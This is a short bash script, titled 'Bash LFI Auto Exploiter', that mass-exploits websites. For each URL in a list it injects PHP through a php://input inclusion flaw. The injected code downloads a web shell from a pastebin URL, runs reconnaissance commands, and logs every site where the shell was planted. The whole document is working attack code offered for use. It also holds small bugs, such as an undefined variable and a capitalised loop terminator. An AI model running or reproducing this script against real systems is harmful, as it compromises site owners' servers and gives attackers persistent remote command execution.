Bash LFI Auto Exploiter

#!/bin/bash
cekrce() {
    target=$1
    echo -ne "---";

    upload=$(curl -s --data "<?php system('wget https://pastebin.com/raw/KUDbhDy2 -O 99091023933231312.php;ls -la;pwd;uname -a;whoami');?>" -X GET "${target}?page=php://input" | head -1)
    cekshell=$(curl -s "${target}/99091023933231312.php");
    if [[ $cekshell =~ 'ganteng' ]]; then
    echo "Upload Done"
    echo "$result" >> 131sx123mmnxxx1a.txt
    echo "$target/99091023933231312.php" | tee -a 131sx123mmnxxx1a.txt
    echo "=====================================\n" >> 131sx123mmnxxx1a.txt
    else
    echo "Failed"
    fi
    }

for s in $(cat $1); do
    echo "CHECKING $s"
    echo -ne "----";
    cekrce $s
Done